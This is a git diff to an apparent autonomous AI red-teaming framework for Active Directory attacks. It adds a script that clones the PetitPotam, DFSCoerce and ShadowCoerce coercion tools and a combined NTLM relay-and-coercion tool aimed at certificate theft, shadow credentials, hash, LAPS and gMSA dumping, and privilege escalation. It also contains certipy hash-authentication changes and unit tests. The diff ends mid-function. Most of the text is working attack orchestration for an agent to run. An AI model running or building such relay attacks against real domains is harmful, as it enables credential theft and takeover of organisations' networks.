diff --git a/capabilities/network-ops/capability.yaml b/capabilities/network-ops/capability.yaml index dc242d1d..70a5d723 100644 --- a/capabilities/network-ops/capability.yaml +++ b/capabilities/network-ops/capability.yaml @@ -1,6 +1,6 @@ schema: 1 name: network-ops -version: "2.0.0" +version: "2.1.0" description: > Network operations and Active Directory exploitation. Multi-agent pipeline for autonomous red teaming with Nmap scanning, Netexec @@ -30,6 +30,19 @@ workers: dependencies: python: - "loguru>=0.7.0" + - "impacket>=0.12.0" + scripts: + - scripts/install_coercion_tools.sh + +checks: + - name: nmap + command: "command -v nmap >/dev/null 2>&1" + - name: petitpotam + command: "test -f /opt/PetitPotam/PetitPotam.py" + - name: dfscoerce + command: "test -f /opt/DFSCoerce/dfscoerce.py" + - name: shadowcoerce + command: "test -f /opt/ShadowCoerce/shadowcoerce.py" keywords: - network-ops diff --git a/capabilities/network-ops/scripts/install_coercion_tools.sh b/capabilities/network-ops/scripts/install_coercion_tools.sh new file mode 100755 index 00000000..8c50716c --- /dev/null +++ b/capabilities/network-ops/scripts/install_coercion_tools.sh @@ -0,0 +1,20 @@ +#!/usr/bin/env bash +# Install coercion scripts for NTLM relay attacks. +# Runs at sandbox provision time via dependencies.scripts. +set -euo pipefail + +REPOS=( + "https://github.com/topotam/PetitPotam /opt/PetitPotam" + "https://github.com/Wh04m1001/DFSCoerce /opt/DFSCoerce" + "https://github.com/ShutdownRepo/ShadowCoerce /opt/ShadowCoerce" +) + +for entry in "${REPOS[@]}"; do + read -r url dest <<< "$entry" + if [ -d "$dest" ]; then + echo "[*] $dest already exists, skipping" + else + echo "[+] Cloning $(basename "$dest") to $dest" + git clone --depth 1 "$url" "$dest" + fi +done diff --git a/capabilities/network-ops/skills/ad-attack-patterns/SKILL.md b/capabilities/network-ops/skills/ad-attack-patterns/SKILL.md index bb5a59d1..f9882f58 100644 --- a/capabilities/network-ops/skills/ad-attack-patterns/SKILL.md +++ b/capabilities/network-ops/skills/ad-attack-patterns/SKILL.md @@ -92,10 +92,13 @@ Reference for common AD attack chains. Each pattern lists prerequisites, tool se **Prerequisites:** Ability to coerce authentication, relay target that accepts NTLM (SMB signing disabled, LDAP signing not required, or AD CS HTTP endpoint). +**Preferred:** Use `impacket_ntlmrelay_attack` — a single tool call that starts the relay, fires coercion, monitors for success, and returns combined output. This avoids the sequencing problem where ntlmrelayx must be running before coercion fires. + | Step | Tool | Action | |---|---|---| -| 1. Start relay listener | `impacket_ntlmrelayx` | Listen and relay to target (SMB/LDAP/AD CS) | -| 2. Coerce authentication | See coercion method selection below | Force target to authenticate to relay | +| Combined (preferred) | `impacket_ntlmrelay_attack` | Start relay + fire coercion + capture result in one call | +| 1. Start relay listener (manual) | `impacket_ntlmrelayx` | Listen and relay to target (SMB/LDAP/AD CS) | +| 2. Coerce authentication (manual) | See coercion method selection below | Force target to authenticate to relay | | 3. Relay captures and forwards | ntlmrelayx relays auth | Escalation depends on relay target | **Relay targets by impact:** diff --git a/capabilities/network-ops/tests/test_tool_fixes.py b/capabilities/network-ops/tests/test_tool_fixes.py new file mode 100644 index 00000000..f280e4d9 --- /dev/null +++ b/capabilities/network-ops/tests/test_tool_fixes.py @@ -0,0 +1,579 @@ +"""Tests for network-ops tool fixes: nmap port quoting, certipy domain +handling, ntlmrelayx arg building, coercion command building, and +relay orchestration helpers.""" + +from __future__ import annotations + +import importlib.util +import sys +import types +from pathlib import Path +from unittest.mock import AsyncMock, MagicMock, patch + +import pytest + +# --------------------------------------------------------------------------- +# Bootstrap: stub dreadnode + loguru so we can import the tool modules +# --------------------------------------------------------------------------- + +_STUBS_INSTALLED = False + + +def _install_stubs(): + global _STUBS_INSTALLED + if _STUBS_INSTALLED: + return + _STUBS_INSTALLED = True + + # dreadnode stubs — only create and populate modules that don't exist yet + # to avoid clobbering a real dreadnode installation in the test env. + _stub_modules: list[str] = [] + for mod_name in [ + "dreadnode", + "dreadnode.agents", + "dreadnode.agents.tools", + "dreadnode.tools", + "dreadnode.tools.execute", + "dreadnode.app", + "dreadnode.app.env", + ]: + if mod_name not in sys.modules: + sys.modules[mod_name] = types.ModuleType(mod_name) + _stub_modules.append(mod_name) + + # Config stub + class Config: + def __init__(self, **kwargs): + self.default = kwargs.get("default") + self.default_factory = kwargs.get("default_factory") + + if "dreadnode" in _stub_modules: + sys.modules["dreadnode"].Config = Config # type: ignore[attr-defined] + + # Toolset stub + class Toolset: + pass + + def tool_method(**kwargs): + def decorator(func): + return func + + return decorator + + if "dreadnode.agents.tools" in _stub_modules: + sys.modules["dreadnode.agents.tools"].Toolset = Toolset # type: ignore[attr-defined] + sys.modules["dreadnode.agents.tools"].tool_method = tool_method # type: ignore[attr-defined] + + # execute stub + async def execute(cmd, **kwargs): + return f"executed: {' '.join(cmd)}" + + if "dreadnode.tools.execute" in _stub_modules: + sys.modules["dreadnode.tools.execute"].execute = execute # type: ignore[attr-defined] + + # loguru stub + if "loguru" not in sys.modules: + try: + import loguru as _real # noqa: F401 + except ImportError: + _loguru = types.ModuleType("loguru") + + class _StubLogger: + def __getattr__(self, name): + return lambda *a, **kw: None + + _loguru.logger = _StubLogger() + sys.modules["loguru"] = _loguru + + +_install_stubs() + +# Now we can import the tool modules +TOOLS_DIR = Path(__file__).resolve().parents[1] / "tools" + + +def _load_module(name: str, filename: str): + path = TOOLS_DIR / filename + spec = importlib.util.spec_from_file_location(name, path) + assert spec and spec.loader + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + return mod + + +nmap_mod = _load_module("nmap_tools", "nmap.py") +certipy_mod = _load_module("certipy_tools", "certipy.py") +impacket_mod = _load_module("impacket_tools", "impacket.py") + + +# =================================================================== +# Nmap: port quoting +# =================================================================== + + +class TestNmapPortQuoting: + """nmap_service_scan should strip wrapping quotes from ports.""" + + @pytest.mark.asyncio + async def test_strips_double_quotes(self): + """Agent sent ports='"80,1433"' — nmap choked on literal quotes.""" + nmap = nmap_mod.Nmap() + nmap.timeout = 10 + + with patch.object(nmap, "nmap", new_callable=AsyncMock) as mock_nmap: + mock_nmap.return_value = "scan output" + await nmap.nmap_service_scan(["10.0.0.1"], ports='"80,1433"') + + args = mock_nmap.call_args[0] # (targets, args_list) + # The -p flag value should NOT contain quotes + arg_list = args[1] + p_idx = arg_list.index("-p") + assert arg_list[p_idx + 1] == "80,1433" + + @pytest.mark.asyncio + async def test_strips_single_quotes(self): + nmap = nmap_mod.Nmap() + nmap.timeout = 10 + + with patch.object(nmap, "nmap", new_callable=AsyncMock) as mock_nmap: + mock_nmap.return_value = "scan output" + await nmap.nmap_service_scan(["10.0.0.1"], ports="'22,80'") + + arg_list = mock_nmap.call_args[0][1] + p_idx = arg_list.index("-p") + assert arg_list[p_idx + 1] == "22,80" + + @pytest.mark.asyncio + async def test_clean_ports_unchanged(self): + nmap = nmap_mod.Nmap() + nmap.timeout = 10 + + with patch.object(nmap, "nmap", new_callable=AsyncMock) as mock_nmap: + mock_nmap.return_value = "scan output" + await nmap.nmap_service_scan(["10.0.0.1"], ports="80,443,8080") + + arg_list = mock_nmap.call_args[0][1] + p_idx = arg_list.index("-p") + assert arg_list[p_idx + 1] == "80,443,8080" + + +# =================================================================== +# Certipy: domain handling in base certipy() method +# =================================================================== + + +class TestCertipyDomainHandling: + """certipy() should correctly build -u user@domain.""" + + def _make_certipy(self): + c = certipy_mod.Certipy() + c.certipy_cmd = "certipy" + c.timeout = 10 + return c + + @pytest.mark.asyncio + async def test_username_and_domain_combined(self): + """username='Admin', domain='corp.local' → -u Admin@corp.local""" + c = self._make_certipy() + with patch.object(certipy_mod, "execute", new_callable=AsyncMock) as mock_exec: + mock_exec.return_value = "output" + await c.certipy( + action="find", + args=["-vulnerable"], + target="10.0.0.1", + username="Admin", + domain="corp.local", + ) + cmd = mock_exec.call_args[0][0] + assert "-u" in cmd + u_idx = cmd.index("-u") + assert cmd[u_idx + 1] == "Admin@corp.local" + + @pytest.mark.asyncio + async def test_username_with_at_sign_no_double_domain(self): + """username='Admin@corp.local', domain=None → -u Admin@corp.local (no doubling)""" + c = self._make_certipy() + with patch.object(certipy_mod, "execute", new_callable=AsyncMock) as mock_exec: + mock_exec.return_value = "output" + await c.certipy( + action="find", + args=[], + target="10.0.0.1", + username="Admin@corp.local", + ) + cmd = mock_exec.call_args[0][0] + u_idx = cmd.index("-u") + assert cmd[u_idx + 1] == "Admin@corp.local" + + @pytest.mark.asyncio + async def test_username_with_at_and_domain_no_double(self): + """username='Admin@corp.local', domain='corp.local' → -u Admin@corp.local (not doubled)""" + c = self._make_certipy() + with patch.object(certipy_mod, "execute", new_callable=AsyncMock) as mock_exec: + mock_exec.return_value = "output" + await c.certipy( + action="find", + args=[], + target="10.0.0.1", + username="Admin@corp.local", + domain="corp.local", + ) + cmd = mock_exec.call_args[0][0] + u_idx = cmd.index("-u") + assert cmd[u_idx + 1] == "Admin@corp.local" + + @pytest.mark.asyncio + async def test_no_username_no_u_flag(self): + """No username → no -u flag at all.""" + c = self._make_certipy() + with patch.object(certipy_mod, "execute", new_callable=AsyncMock) as mock_exec: + mock_exec.return_value = "output" + await c.certipy(action="find", args=[], target="10.0.0.1") + cmd = mock_exec.call_args[0][0] + assert "-u" not in cmd + + +# =================================================================== +# Certipy: certipy_find routes through certipy() +# =================================================================== + + +class TestCertipyFind: + """certipy_find should use structured params, not raw args for auth.""" + + def _make_certipy(self): + c = certipy_mod.Certipy() + c.certipy_cmd = "certipy" + c.timeout = 10 + return c + + @pytest.mark.asyncio + async def test_certipy_find_builds_auth_correctly(self): + c = self._make_certipy() + with patch.object(certipy_mod, "execute", new_callable=AsyncMock) as mock_exec: + mock_exec.return_value = "output" + await c.certipy_find( + target="10.0.0.1", + username="Administrator", + domain="deltasystems.local", + nt_hash="c56b4bc88c94f5b0db14acaaac702fc4", + args=["-vulnerable", "-stdout"], + ) + cmd = mock_exec.call_args[0][0] + assert cmd[0] == "certipy" + assert cmd[1] == "find" + assert "-u" in cmd + u_idx = cmd.index("-u") + assert cmd[u_idx + 1] == "Administrator@deltasystems.local" + assert "-hashes" in cmd + assert "-dc-ip" in cmd + dc_idx = cmd.index("-dc-ip") + assert cmd[dc_idx + 1] == "10.0.0.1" + assert "-vulnerable" in cmd + assert "-stdout" in cmd + # No -domain flag (the bug we're fixing) + assert "-domain" not in cmd + + +# =================================================================== +# Impacket: _build_ntlmrelayx_args +# =================================================================== + + +class TestBuildNtlmrelayxArgs: + """_build_ntlmrelayx_args should produce correct flag lists.""" + + def _make_impacket(self): + imp = impacket_mod.Impacket() + imp.timeout = 30 + imp.script_path = Path("/fake/scripts") + return imp + + def test_basic_adcs_relay(self): + imp = self._make_impacket() + args = imp._build_ntlmrelayx_args( + target="http://ca/certsrv/certfnsh.asp", + smb2support=True, + interface_ip="10.0.0.1", + adcs=True, + template="DomainController", + ) + assert ["-t", "http://ca/certsrv/certfnsh.asp"] == args[:2] + assert "-smb2support" in args + assert "-ip" in args + assert "--adcs" in args + assert "--template" in args + t_idx = args.index("--template") + assert args[t_idx + 1] == "DomainController" + + def test_ldap_relay_with_escalation(self): + imp = self._make_impacket() + args = imp._build_ntlmrelayx_args( + target="ldap://dc01", + smb2support=True, + escalate_user="attacker", + delegate_access=True, + ) + assert "--escalate-user" in args + assert "--delegate-access" in args + + def test_server_toggles(self): + imp = self._make_impacket() + args = imp._build_ntlmrelayx_args( + target="smb://10.0.0.1", + no_smb_server=True, + no_http_server=True, + no_wcf_server=True, + no_raw_server=True, + ) + assert "--no-smb-server" in args + assert "--no-http-server" in args + assert "--no-wcf-server" in args + assert "--no-raw-server" in args + + def test_shadow_credentials(self): + imp = self._make_impacket() + args = imp._build_ntlmrelayx_args( + target="ldap://dc01", + shadow_credentials=True, + shadow_target="victim$", + ) + assert "--shadow-credentials" in args + assert "--shadow-target" in args + + +# =================================================================== +# Impacket: _build_coercion_command +# =================================================================== + + +class TestBuildCoercionCommand: + """_build_coercion_command should produce correct coercion commands.""" + + def _make_impacket(self): + imp = impacket_mod.Impacket() + imp.timeout = 30 + imp.script_path = Path("/fake/scripts") + return imp + + def test_unknown_method_raises(self): + imp = self._make_impacket() + with pytest.raises(ValueError, match="Unknown coercion method"): + imp._build_coercion_command("bogus", "10.0.0.1", "10.0.0.2") + + def test_missing_script_raises(self): + imp = self._make_impacket() + with pytest.raises(FileNotFoundError, match="not found"): + imp._build_coercion_command("petitpotam", "10.0.0.1", "10.0.0.2") + + def test_petitpotam_with_pipe(self, tmp_path): + # Create fake script + script = tmp_path / "PetitPotam.py" + script.write_text("# fake") + + imp = self._make_impacket() + with patch.dict( + impacket_mod._COERCION_SCRIPTS, + { + "petitpotam": ( + tmp_path, + "PetitPotam.py", + "https://github.com/topotam/PetitPotam", + ) + }, + ): + cmd = imp._build_coercion_command( + "petitpotam", + "10.0.0.1", + "10.0.0.2", + username="admin", + domain="corp.local", + hashes=":abc123", + pipe="efsr", + ) + + assert cmd[0] == sys.executable + assert str(script) in cmd[1] + assert "-u" in cmd + assert "-d" in cmd + assert "-hashes" in cmd + assert "-pipe" in cmd + # Positional args at end + assert cmd[-2] == "10.0.0.1" + assert cmd[-1] == "10.0.0.2" + + def test_shadowcoerce_no_kerberos_no_dc_ip(self, tmp_path): + script = tmp_path / "shadowcoerce.py" + script.write_text("# fake") + + imp = self._make_impacket() + with patch.dict( + impacket_mod._COERCION_SCRIPTS, + { + "shadowcoerce": ( + tmp_path, + "shadowcoerce.py", + "https://github.com/ShutdownRepo/ShadowCoerce", + ) + }, + ): + cmd = imp._build_coercion_command( + "shadowcoerce", + "10.0.0.1", + "10.0.0.2", + kerberos=True, # should be ignored + dc_ip="10.0.0.3", # should be ignored + ) + + assert "-k" not in cmd + assert "-dc-ip" not in cmd + + def test_auto_no_pass_when_no_creds(self, tmp_path): + script = tmp_path / "PetitPotam.py" + script.write_text("# fake") + + imp = self._make_impacket() + with patch.dict( + impacket_mod._COERCION_SCRIPTS, + { + "petitpotam": ( + tmp_path, + "PetitPotam.py", + "https://github.com/topotam/PetitPotam", + ) + }, + ): + cmd = imp._build_coercion_command("petitpotam", "10.0.0.1", "10.0.0.2") + + assert "-no-pass" in cmd + + +# =================================================================== +# Relay helpers: _wait_for_relay_ready, _wait_for_relay_result +# =================================================================== + + +def _make_mock_process(lines: list[bytes], returncode: int | None = None): + """Create a mock asyncio subprocess with predefined stdout lines.""" + line_iter = iter(lines) + + async def readline(): + try: + return next(line_iter) + except StopIteration: + return b"" + + proc = MagicMock() + proc.stdout = MagicMock() + proc.stdout.readline = readline + proc.returncode = returncode + proc.pid = 12345 + + async def wait(): + proc.returncode = 0 + + proc.wait = wait + return proc + + +class TestWaitForRelayReady: + @pytest.mark.asyncio + async def test_detects_servers_started(self): + proc = _make_mock_process( + [ + b"Impacket v0.13.1\n", + b"[*] Setting up SMB Server\n", + b"[*] Servers started, waiting for connections\n", + ] + ) + output: list[str] = [] + result = await impacket_mod._wait_for_relay_ready(proc, output, timeout=5) + assert result is True + assert len(output) == 3 + + @pytest.mark.asyncio + async def test_returns_false_on_early_exit(self): + proc = _make_mock_process( + [ + b"Error: something went wrong\n", + b"", # EOF + ] + ) + output: list[str] = [] + result = await impacket_mod._wait_for_relay_ready(proc, output, timeout=5) + assert result is False + + @pytest.mark.asyncio + async def test_returns_false_on_bind_error(self): + proc = _make_mock_process( + [ + b"Impacket v0.13.1\n", + b"Error: Address already in use (bind failed)\n", + ] + ) + output: list[str] = [] + result = await impacket_mod._wait_for_relay_ready(proc, output, timeout=5) + assert result is False + + +class TestWaitForRelayResult: + @pytest.mark.asyncio + async def test_detects_certificate_success(self): + proc = _make_mock_process( + [ + b"[*] SMBD-Thread-4: Received connection from 10.0.0.5\n", + b"[*] Authenticating against http://ca/certsrv\n", + b"[*] Got certificate!\n", + b"[*] Certificate: MIIFxz...\n", + ] + ) + output: list[str] = [] + result = await impacket_mod._wait_for_relay_result(proc, output, timeout=5) + assert result is True + assert any("certificate" in line.lower() for line in output) + + @pytest.mark.asyncio + async def test_returns_false_on_timeout(self): + # No success patterns, just connection noise + proc = _make_mock_process( + [ + b"[*] SMBD-Thread-4: Connection from 10.0.0.5\n", + b"", # EOF + ] + ) + output: list[str] = [] + result = await impacket_mod._wait_for_relay_result(proc, output, timeout=2) + assert result is False + + +# =================================================================== +# Relay: _kill_relay +# =================================================================== + + +class TestKillRelay: + @pytest.mark.asyncio + async def test_noop_if_already_exited(self): + proc = MagicMock() + proc.returncode = 0 + # Should not raise + await impacket_mod._kill_relay(proc) + + @pytest.mark.asyncio + async def test_sends_sigterm_to_process_group(self): + proc = MagicMock() + proc.returncode = None + proc.pid = 99999 + + async def mock_wait(): + proc.returncode = -15 + + proc.wait = mock_wait + + with ( + patch("os.getpgid", return_value=99999) as mock_getpgid, + patch("os.killpg") as mock_killpg, + ): + await impacket_mod._kill_relay(proc) + mock_getpgid.assert_called_once_with(99999) + mock_killpg.assert_called() diff --git a/capabilities/network-ops/tools/certipy.py b/capabilities/network-ops/tools/certipy.py index 5b87ca34..ef5e1aab 100644 --- a/capabilities/network-ops/tools/certipy.py +++ b/capabilities/network-ops/tools/certipy.py @@ -39,7 +39,9 @@ async def __aenter__(self): "Install with: pip install certipy-ad" ) else: - logger.info(f"Certipy toolset initialized, using command: {self.certipy_cmd}") + logger.info( + f"Certipy toolset initialized, using command: {self.certipy_cmd}" + ) return self @override @@ -90,8 +92,11 @@ async def certipy( """ cmd = [self.certipy_cmd, action] - if username and domain: - cmd.extend(["-u", f"{username}@{domain}"]) + if username: + if domain and "@" not in username and "\\" not in username: + cmd.extend(["-u", f"{username}@{domain}"]) + else: + cmd.extend(["-u", username]) if password: cmd.extend(["-p", password]) @@ -101,7 +106,9 @@ async def certipy( cmd.extend(["-dc-ip", target]) cmd.extend(args) - logger.info(f"Running '{self.certipy_cmd} {action}' with args: {' '.join(args)}") + logger.info( + f"Running '{self.certipy_cmd} {action}' with args: {' '.join(args)}" + ) return await execute(cmd, timeout=self.timeout, input=input) # Specialized methods @@ -330,7 +337,9 @@ async def certipy_auth(self, args: list[str], input: str | None = "y") -> str: args: List of arguments for the command. input: Optional input string to pass to the command's stdin. """ - return await execute([self.certipy_cmd, "auth", *args], timeout=self.timeout, input=input) + return await execute( + [self.certipy_cmd, "auth", *args], timeout=self.timeout, input=input + ) @tool_method(catch=True, variants=["generic", "all"]) async def certipy_ca(self, args: list[str], input: str | None = None) -> str: @@ -413,7 +422,9 @@ async def certipy_ca(self, args: list[str], input: str | None = None) -> str: args: List of arguments for the command. input: Optional input string to pass to the command's stdin. """ - return await execute([self.certipy_cmd, "ca", *args], timeout=self.timeout, input=input) + return await execute( + [self.certipy_cmd, "ca", *args], timeout=self.timeout, input=input + ) @tool_method(catch=True, variants=["generic", "all"]) async def certipy_cert(self, args: list[str], input: str | None = "y") -> str: @@ -445,10 +456,21 @@ async def certipy_cert(self, args: list[str], input: str | None = "y") -> str: args: List of arguments for the command. input: Optional input string to pass to the command's stdin. """ - return await execute([self.certipy_cmd, "cert", *args], timeout=self.timeout, input=input) + return await execute( + [self.certipy_cmd, "cert", *args], timeout=self.timeout, input=input + ) @tool_method(catch=True, variants=["generic", "all"]) - async def certipy_find(self, args: list[str], input: str | None = None) -> str: + async def certipy_find( + self, + target: str, + args: list[str] | None = None, + username: str | None = None, + domain: str | None = None, + password: str | None = None, + nt_hash: str | None = None, + input: str | None = None, + ) -> str: r""" Execute a certipy-ad find command. @@ -456,9 +478,6 @@ async def certipy_find(self, args: list[str], input: str | None = None) -> str: Discover and analyze Active Directory Certificate Services (AD CS) components. This command identifies vulnerable certificate templates, security misconfigurations, and potential certificate- based privilege escalation paths. - options: - -h, --help show this help message and exit - output options: -text Output result as formatted text file -stdout Output result as text directly to console @@ -470,18 +489,9 @@ async def certipy_find(self, args: list[str], input: str | None = None) -> str: -enabled Show only enabled certificate templates -dc-only Collects data only from the domain controller. Will not try to retrieve CA security/configuration or check for Web Enrollment -vulnerable Show only vulnerable certificate templates based on nested group memberships - -oids Show OIDs (Issuance Policies) and their properties -hide-admins Don't show administrator permissions for -text, -stdout, -json, and -csv - identity options: - -sid object sid SID of the user provided in the command line. Useful for cross domain authentication - -dn distinguished name - Distinguished name of the user provided in the command line. Useful for cross domain authentication - connection options: - -dc-ip ip address IP address of the domain controller. If omitted, it will use the domain part (FQDN) specified in the target parameter - -dc-host hostname Hostname of the domain controller. Required for Kerberos authentication during certain operations. If omitted, the domain part (FQDN) specified in the account parameter - will be used -target-ip ip address IP address of the target machine. If omitted, it will use whatever was specified as target. Useful when target is the NetBIOS name and cannot be resolved -target dns/ip address @@ -490,18 +500,6 @@ async def certipy_find(self, args: list[str], input: str | None = None) -> str: -dns-tcp Use TCP instead of UDP for DNS queries -timeout seconds Timeout for connections in seconds (default: 10) - authentication options: - -u, -username username@domain - Username to authenticate with - -p, -password password - Password for authentication - -hashes [lmhash:]nthash - NTLM hash - -k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones - specified in the command line - -aes hex key AES key to use for Kerberos Authentication (128 or 256 bits) - -no-pass Don't ask for password (useful for -k) - ldap options: -ldap-scheme ldap scheme LDAP connection scheme to use (default: ldaps) @@ -509,15 +507,27 @@ async def certipy_find(self, args: list[str], input: str | None = None) -> str: -no-ldap-channel-binding Don't use LDAP channel binding for LDAP communication (LDAPS only) -no-ldap-signing Don't use LDAP signing for LDAP communication (LDAP only) - -ldap-simple-auth Use SIMPLE LDAP authentication instead of NTLM - -ldap-user-dn dn Distinguished Name of target account for LDAP authentication Args: - args: List of arguments for the command. + target: The IP address of the Domain Controller. + args: Additional arguments for the find command (e.g., ["-vulnerable", "-stdout"]). + username: The username for authentication. + domain: The domain name (combined with username as user@domain). + password: The password for authentication. + nt_hash: The NTLM hash for authentication. input: Optional input string to pass to the command. """ - return await execute([self.certipy_cmd, "find", *args], timeout=self.timeout, input=input) + return await self.certipy( + action="find", + args=args or [], + target=target, + username=username, + domain=domain, + password=password, + nt_hash=nt_hash, + input=input, + ) @tool_method(catch=True, variants=["generic", "all"]) async def certipy_req(self, args: list[str], input: str | None = "y") -> str: @@ -611,7 +621,9 @@ async def certipy_req(self, args: list[str], input: str | None = "y") -> str: Args: args: List of arguments for the command. """ - return await execute([self.certipy_cmd, "req", *args], timeout=self.timeout, input=input) + return await execute( + [self.certipy_cmd, "req", *args], timeout=self.timeout, input=input + ) @tool_method(catch=True, variants=["generic", "all"]) async def certipy_template(self, args: list[str], input: str | None = None) -> str: diff --git a/capabilities/network-ops/tools/impacket.py b/capabilities/network-ops/tools/impacket.py index 97fe83ba..fef4fcb5 100644 --- a/capabilities/network-ops/tools/impacket.py +++ b/capabilities/network-ops/tools/impacket.py @@ -1,4 +1,8 @@ +import asyncio +import contextlib +import os import re +import signal import shutil import sys from pathlib import Path @@ -112,6 +116,167 @@ def _get_impacket_script_path() -> Path: g_default_impacket_path = _get_impacket_script_path() +# Coercion script paths for combined relay+coerce tool +_COERCION_SCRIPTS: dict[str, tuple[Path, str, str]] = { + "petitpotam": ( + Path("/opt/PetitPotam/"), + "PetitPotam.py", + "https://github.com/topotam/PetitPotam", + ), + "dfscoerce": ( + Path("/opt/DFSCoerce/"), + "dfscoerce.py", + "https://github.com/Wh04m1001/DFSCoerce", + ), + "shadowcoerce": ( + Path("/opt/ShadowCoerce/"), + "shadowcoerce.py", + "https://github.com/ShutdownRepo/ShadowCoerce", + ), +} + +# Patterns in ntlmrelayx stdout that indicate a successful relay +_RELAY_SUCCESS_PATTERNS = [ + "certificate", + "got certificate", + "dumping", + "sam hashes", + "authenticating against", + "relay succeeded", + "shadow credentials", + "msds-keycredentiallink", + "escalating", + "adding computer", + "laps password", + "gmsa password", +] + +# How long to wait after SIGTERM before escalating to SIGKILL. +_SIGKILL_TIMEOUT = 5.0 + + +async def _wait_for_relay_ready( + proc: asyncio.subprocess.Process, + output_buffer: list[str], + timeout: float = 30, +) -> bool: + """Read ntlmrelayx stdout until 'Servers started' appears or timeout. + + Returns True if the relay is ready, False on early exit or timeout. + """ + assert proc.stdout is not None + loop = asyncio.get_running_loop() + deadline = loop.time() + timeout + + while loop.time() < deadline: + remaining = deadline - loop.time() + try: + line = await asyncio.wait_for( + proc.stdout.readline(), timeout=min(remaining, 5) + ) + except TimeoutError: + if proc.returncode is not None: + return False + continue + + if not line: + return False # EOF — process exited + + decoded = line.decode(errors="replace") + output_buffer.append(decoded) + + if "servers started" in decoded.lower(): + return True + + # Early failure: port bind error + lower = decoded.lower() + if "error" in lower and ("bind" in lower or "address already in use" in lower): + return False + + return False + + +async def _wait_for_relay_result( + proc: asyncio.subprocess.Process, + output_buffer: list[str], + timeout: float = 90, +) -> bool: + """Read ntlmrelayx stdout looking for success indicators. + + On match, continues reading for 5 more seconds to capture follow-up + data (certificate values, hashes, etc.) before returning. + """ + assert proc.stdout is not None + loop = asyncio.get_running_loop() + deadline = loop.time() + timeout + + while loop.time() < deadline: + remaining = deadline - loop.time() + try: + line = await asyncio.wait_for( + proc.stdout.readline(), timeout=min(remaining, 5) + ) + except TimeoutError: + if proc.returncode is not None: + break + continue + + if not line: + break + + decoded = line.decode(errors="replace") + output_buffer.append(decoded) + + lower = decoded.lower() + if any(pattern in lower for pattern in _RELAY_SUCCESS_PATTERNS): + # Drain follow-up output (cert data, hash values) for up to 5s total + drain_deadline = loop.time() + 5 + try: + while loop.time() < drain_deadline: + drain_remaining = drain_deadline - loop.time() + extra = await asyncio.wait_for( + proc.stdout.readline(), timeout=drain_remaining + ) + if not extra: + break + output_buffer.append(extra.decode(errors="replace")) + except TimeoutError: + pass + return True + + return False + + +async def _kill_relay(proc: asyncio.subprocess.Process) -> None: + """Terminate a relay subprocess and its process group. + + Sends SIGTERM to the process group, waits up to 5 seconds, then + escalates to SIGKILL. Requires the subprocess was created with + ``start_new_session=True``. + """ + if proc.returncode is not None: + return + + pid = proc.pid + if pid is None: + return + + try: + pgid = os.getpgid(pid) + except (OSError, ProcessLookupError): + return + + with contextlib.suppress(OSError, ProcessLookupError): + os.killpg(pgid, signal.SIGTERM) + + try: + await asyncio.wait_for(proc.wait(), timeout=_SIGKILL_TIMEOUT) + except TimeoutError: + with contextlib.suppress(OSError, ProcessLookupError): + os.killpg(pgid, signal.SIGKILL) + with contextlib.suppress(ProcessLookupError): + await proc.wait() + class Impacket(Toolset): """ @@ -328,6 +493,201 @@ def _build_connection_flags( return flags + def _build_ntlmrelayx_args( + self, + *, + target: str | None = None, + targets_file: str | None = None, + smb2support: bool = False, + socks: bool = False, + interface_ip: str | None = None, + smb_port: int | None = None, + http_port: str | None = None, + exec_command: str | None = None, + interactive: bool = False, + lootdir: str | None = None, + output_file: str | None = None, + dump_hashes: bool = False, + escalate_user: str | None = None, + delegate_access: bool = False, + dump_laps: bool = False, + dump_gmsa: bool = False, + dump_adcs: bool = False, + add_computer: str | None = None, + no_dump: bool = False, + no_da: bool = False, + no_acl: bool = False, + adcs: bool = False, + template: str | None = None, + altname: str | None = None, + shadow_credentials: bool = False, + shadow_target: str | None = None, + remove_mic: bool = False, + no_smb_server: bool = False, + no_http_server: bool = False, + no_wcf_server: bool = False, + no_raw_server: bool = False, + ) -> list[str]: + """Build the argument list for ntlmrelayx.py. + + Shared by :meth:`impacket_ntlmrelayx` (standalone) and + :meth:`impacket_ntlmrelay_attack` (combined relay+coerce). + """ + args: list[str] = [] + + if target: + args.extend(["-t", target]) + if targets_file: + args.extend(["-tf", targets_file]) + if smb2support: + args.append("-smb2support") + if socks: + args.append("-socks") + if interface_ip: + args.extend(["-ip", interface_ip]) + if smb_port is not None: + args.extend(["--smb-port", str(smb_port)]) + if http_port: + args.extend(["--http-port", http_port]) + if exec_command: + args.extend(["-c", exec_command]) + if interactive: + args.append("-i") + if lootdir: + args.extend(["-l", lootdir]) + if output_file: + args.extend(["-of", output_file]) + if dump_hashes: + args.append("-dh") + + # LDAP options + if escalate_user: + args.extend(["--escalate-user", escalate_user]) + if delegate_access: + args.append("--delegate-access") + if dump_laps: + args.append("--dump-laps") + if dump_gmsa: + args.append("--dump-gmsa") + if dump_adcs: + args.append("--dump-adcs") + if no_dump: + args.append("--no-dump") + if no_da: + args.append("--no-da") + if no_acl: + args.append("--no-acl") + + # AD CS options + if adcs: + args.append("--adcs") + if template: + args.extend(["--template", template]) + if altname: + args.extend(["--altname", altname]) + + # Shadow Credentials options + if shadow_credentials: + args.append("--shadow-credentials") + if shadow_target: + args.extend(["--shadow-target", shadow_target]) + + # Exploit options + if remove_mic: + args.append("--remove-mic") + + # Server disable options + if no_smb_server: + args.append("--no-smb-server") + if no_http_server: + args.append("--no-http-server") + if no_wcf_server: + args.append("--no-wcf-server") + if no_raw_server: + args.append("--no-raw-server") + + if add_computer: + args.extend(["--add-computer", add_computer]) + + return args + + def _build_coercion_command( + self, + method: str, + listener: str, + target: str, + *, + username: str | None = None, + password: str | None = None, + domain: str | None = None, + hashes: str | None = None, + kerberos: bool = False, + dc_ip: str | None = None, + pipe: str | None = None, + ) -> list[str]: + """Build the command list for a coercion script. + + Args: + method: Coercion method (petitpotam, dfscoerce, shadowcoerce). + listener: IP address the relay server is listening on. + target: Machine to coerce authentication from. + username: Username for authentication to the target. + password: Password for authentication. + domain: Domain name. + hashes: NTLM hashes for authentication. + kerberos: Use Kerberos authentication (petitpotam/dfscoerce only). + dc_ip: Domain controller IP (petitpotam/dfscoerce only). + pipe: Named pipe to use (petitpotam only). + + Returns: + Complete command list ready for execution. + + Raises: + ValueError: If method is not recognized. + FileNotFoundError: If the coercion script is not installed. + """ + if method not in _COERCION_SCRIPTS: + raise ValueError( + f"Unknown coercion method '{method}'. " + f"Choose from: {', 